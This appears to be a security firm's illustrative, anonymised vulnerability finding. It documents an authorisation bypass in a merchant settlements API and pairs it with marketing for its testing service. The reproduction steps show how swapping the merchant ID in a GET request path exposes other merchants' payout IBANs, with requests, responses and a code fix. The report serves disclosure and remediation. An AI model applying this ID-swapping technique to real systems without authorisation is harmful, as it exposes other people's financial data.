ZF-0147-02Illustrative finding. Anonymised, not customer data.

Merchants can read each other's settlements

Severity
Critical
CVSS 3.1
9.6
Status
Fixed and retested
Surface
Web & API
Class
CWE-639Authorisation bypass through a user-controlled key

01Summary

The settlements API checked that an API key was valid, but not that it belonged to the merchant in the URL. Changing the merchant ID in the path returned another merchant's settlements, including payout IBANs.

02Affected

Endpoint
GET /v2/merchants/{merchant_id}/settlements
Role
Any merchant API key
Environment
Agreed staging environment, v4.2
Data
Settlement amounts, dates and payout IBANs

03Preconditions

  1. A valid API key for any merchant account.
  2. Another merchant's ID. IDs are sequential and appear on payout references.

04Reproduce it

  1. Step 1

    Call the API as your own merchant.

    Use the key issued to merchant MRC-40977 and request its own settlements. The response is 200 OK, as expected.

    1. GET /v2/merchants/MRC-40977/settlements
    2. Authorization: Bearer ██████████████████
    3. HTTP/1.1 200 OK
  2. Step 2

    Change only the merchant ID.

    Keep the same key and replace the ID in the path with another merchant, MRC-58213.

    1. GET /v2/merchants/MRC-58213/settlements
    2. Authorization: Bearer ██████████████████
    3. # same key as step 1
  3. Step 3

    Read another merchant's settlements.

    The API answers 200 OK with MRC-58213's settlements and payout IBAN. Expected: 403 Forbidden.

    1. HTTP/1.1 200 OK
    2. {"merchant_id": "MRC-58213",
    3. "settlements": [{"amount": "184250.00", "iban": "DE██████████████████████"}]}

05Request and response

  • Request: with the API key of merchant MRC-40977
  • Response: another merchant's settlements
  1. # Request: with the API key of merchant MRC-40977
  2. GET /v2/merchants/MRC-58213/settlements HTTP/1.1
  3. Host: ████████████████████████
  4. Authorization: Bearer ██████████████████
  5. # Response: another merchant's settlements
  6. HTTP/1.1 200 OK
  7. Content-Type: application/json
  8. {"merchant_id": "MRC-58213",
  9. "settlements": [{"id": "STL-99120", "amount": "184250.00",
  10. "currency": "EUR", "iban": "DE██████████████████████"}]}

06Impact

1,284merchants whose settlements and payout IBANs could be read with a single API key.

Demonstrated

  • Read access to settlement amounts, dates and payout IBANs of other merchants.
  • Every active merchant ID in the agreed environment returned data.

Not demonstrated

  • Changing settlements or payout details. Write actions were out of scope.
  • Access to production. The work ran on the agreed staging environment.

07Fix

Resolve the merchant from the API key and compare it with the merchant in the path on every settlements request. Return 403 when they differ.

  1. # before
  2. merchant = Merchant.find(params.merchant_id)
  3. # after
  4. merchant = Merchant.find(params.merchant_id)
  5. if merchant.id != api_key.merchant_id: return 403

Non-sequential IDs make the flaw harder to find, but they are not the fix.

08Verification

Human-verifiedAI-found ZF‑0147‑02 2026‑09‑28
Reproduced
2 of 2 clean runs
Verified by
Human researcher
Signed
2026-09-29
Retest
Passed, 2026-10-11

After the fix in v4.2.1, the same request returned 403 Forbidden for every other merchant ID tried.

09How it was found

  1. 1

    SuspicionDay 1, 10:42

    An agent noticed the settlements route takes the merchant ID from the path, while each API key belongs to one merchant.

  2. 2

    AI researchDay 1, 11:15

    The agent tried 40 cross-merchant ID pairs with designated test keys. All 40 returned 200 OK.

  3. 3

    EvidenceDay 1, 11:31

    The request and response were captured, with keys and IBANs redacted at the source.

  4. 4

    Human reviewDay 2, 09:20

    A researcher reproduced it in two clean runs, counted the affected merchants and set the severity.

  5. 5

    ReportDay 2, 15:45

    Signed and entered the report as ZF-0147-02, page 03.

10Timeline

  1. Suspicion logged by an agent
  2. Reproduced and signed by a researcher
  3. Delivered in the report
  4. Fix shipped in v4.2.1
  5. Retest passed

Related findings

All findings

Want findings like this from your own system?

Tell us what changed and which boundary worries you. We scope the work before any testing starts.

Next step
30-minute call
With
A Zaaf researcher
You bring
One scope
Runs before you agree
Nothing
Book a call